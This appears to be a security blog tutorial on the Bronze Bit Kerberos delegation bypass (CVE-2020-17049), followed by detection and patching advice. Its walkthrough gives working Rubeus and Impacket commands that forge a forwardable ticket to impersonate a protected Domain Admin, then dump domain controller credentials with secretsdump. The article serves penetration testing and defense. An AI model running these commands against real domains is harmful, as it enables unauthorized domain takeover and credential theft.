Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
The Bronze Bit attack, tracked as CVE-2020-17049, is a bypass of the two Kerberos protections that are supposed to stop constrained delegation from impersonating high-value accounts: the *”Account is sensitive and cannot be delegated”* flag and membership in the Protected Users group. Disclosed by Jake Karnes of NetSPI in 2020, it takes the classic S4U constrained-delegation abuse and removes the guardrails that were meant to contain it.
The name comes from a single bit — the forwardable flag inside the encrypted part of a Kerberos service ticket. An attacker who already possesses a service account’s secret key can flip that bit, and because the ticket is encrypted with a key the attacker holds, the KDC and the target service accept the tampered ticket as legitimate. The result is that a compromised service configured for constrained delegation can impersonate users it should never have been able to, right up to Domain Admins.
Attack Prerequisites
Bronze Bit is a privilege-escalation / lateral-movement technique that builds on an existing foothold. To carry it out you need:
- The secret key (RC4/AES) of a service account that is configured for constrained delegation (a non-empty
msDS-AllowedToDelegateTo). This is the account whose key encrypts the ticket you will tamper with. - A target SPN the service is allowed to delegate to (e.g.
cifs/dc.corp.local). - An unpatched KDC — a domain controller missing the November 2020 update that fixed CVE-2020-17049.
- Knowledge of the user to impersonate (often a Domain Admin), including cases where that user is in Protected Users or flagged as sensitive — which is exactly what Bronze Bit defeats.
How It Works
Constrained delegation lets a service obtain a ticket to a back-end service *on behalf of a user* via two extensions: S4U2self (the service asks the KDC for a ticket to itself, as the user) and S4U2proxy (it then presents that ticket to obtain a ticket to the allowed back-end SPN). For S4U2proxy to work, the S4U2self ticket must be forwardable. The KDC deliberately makes the S4U2self ticket *non-forwardable* when the impersonated user is protected (sensitive flag or Protected Users), which breaks the delegation chain and keeps those accounts safe.
The flaw is that the forwardable flag lives inside the ticket’s encrypted portion, and that portion is encrypted with the *service account’s own key* — which the attacker already has. Nothing binds the flag to the KDC’s decision beyond that encryption. So the attacker takes the non-forwardable S4U2self ticket, decrypts it with the service key, sets the forwardable bit, re-encrypts it, and submits it to S4U2proxy. The KDC, decrypting a ticket sealed with a key it trusts, sees a forwardable ticket and issues the delegated ticket to the target service. The protections are bypassed because they were only ever expressed as a bit the attacker controls.
Vulnerable Code / Configuration
The enabling misconfiguration is an ordinary constrained-delegation setup on a service account whose credentials have been compromised. On the account object, msDS-AllowedToDelegateTo is populated and protocol transition may be enabled:
# The delegating service account (whose hash the attacker holds)
sAMAccountName: websvc
servicePrincipalName: http/web01.corp.local
msDS-AllowedToDelegateTo: cifs/dc.corp.local # allowed back-end SPN
userAccountControl: TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000) # protocol transition
# The victim the defender THOUGHT was safe:
sAMAccountName: admin
memberOf: Protected Users
userAccountControl: NOT_DELEGATED (0x100000) # 'sensitive, cannot be delegated'
Enumerate accounts with constrained delegation to find candidates. With PowerView:
Get-DomainUser -TrustedToAuth | Select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select dnshostname, msds-allowedtodelegateto
Walkthrough / Exploitation
Rubeus implements the whole chain, including the bit flip, via the /bronzebit flag on its s4u command. Given the service account’s RC4 (NT) hash and the target SPN, request a ticket that impersonates a protected admin:
Rubeus.exe s4u /user:websvc$ /rc4:<NTHASH_of_websvc> \
/impersonateuser:admin /msdsspn:cifs/dc.corp.local \
/bronzebit /nowrap /ptt
# /impersonateuser:admin -> the protected account to impersonate
# /bronzebit -> flip the forwardable bit on the S4U2self ticket
# /ptt -> inject the resulting service ticket into memory
Impacket’s getST.py provides an equivalent with -force-forwardable, which forces the forwardable flag on the S4U2self ticket for the same effect:
getST.py -spn cifs/dc.corp.local -impersonate admin \
-hashes :<NTHASH_of_websvc> corp.local/websvc \
-force-forwardable
export KRB5CCNAME=admin.ccache
# Use the ticket - e.g. dump the DC or run commands as admin
secretsdump.py -k -no-pass dc.corp.local
With a cifs/dc ticket as a Domain Admin, the operator can DCSync, dump the SAM/NTDS, or run code on the DC — full domain compromise from a single delegating service whose credentials leaked.
Note: Bronze Bit does not create constrained delegation; it removes the *safety net* around it. If you can already perform S4U against an unprotected user, you do not need it — its value is specifically defeating the sensitive/Protected-Users mitigations. It also works with AES keys, not just RC4, so ‘AES-only’ hardening does not stop it.
Opsec: The forged/modified tickets still generate KDC service-ticket events on the DC (4769), and the impersonation of a Protected Users member via delegation is itself anomalous. On a patched KDC the S4U2proxy request simply fails with KDC_ERR_BADOPTION, so a burst of such failures can indicate an attempt.
Detection and Defense
The definitive fix is patching, but delegation hygiene matters as defense in depth:
- Apply the CVE-2020-17049 update (November 2020) to all domain controllers and, per Microsoft guidance, move Enforcement mode so tampered tickets are rejected.
- Minimize constrained delegation and never configure it on internet-facing or widely-exposed service accounts; treat any account with
msDS-AllowedToDelegateToas Tier-0-adjacent. - Protect privileged accounts with the Protected Users group and the ‘sensitive and cannot be delegated’ flag — still worthwhile on patched DCs, and layered with strong service-account credentials.
- Monitor Event ID 4769 for service-ticket requests tied to delegation, especially S4U activity impersonating privileged users, and alert on KDC_ERR_BADOPTION spikes.
- Use gMSA / long random service-account passwords so the prerequisite — a stolen service key — is far harder to obtain.
Real-World Impact
Bronze Bit turned a set of mitigations that blue teams relied on — Protected Users and the sensitive-delegation flag — into paper walls on unpatched domains, and it remains a staple of internal penetration tests and AD assessments where DC patching has lagged. Because it chains directly into S4U2proxy against high-value SPNs like cifs, host, and ldap, a single compromised delegating account can escalate to full domain compromise, which is why Microsoft rated CVE-2020-17049 an elevation-of-privilege issue and staged enforcement over several months.
Conclusion
Bronze Bit is a clean example of a protection undone by where it was enforced: a security decision (non-forwardable) encoded in a field sealed with a key the attacker already holds. Patch domain controllers, keep constrained delegation rare and tightly scoped, protect Tier-0 accounts, and watch delegation-related Kerberos events — and the attack loses both its prerequisite and its payoff.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments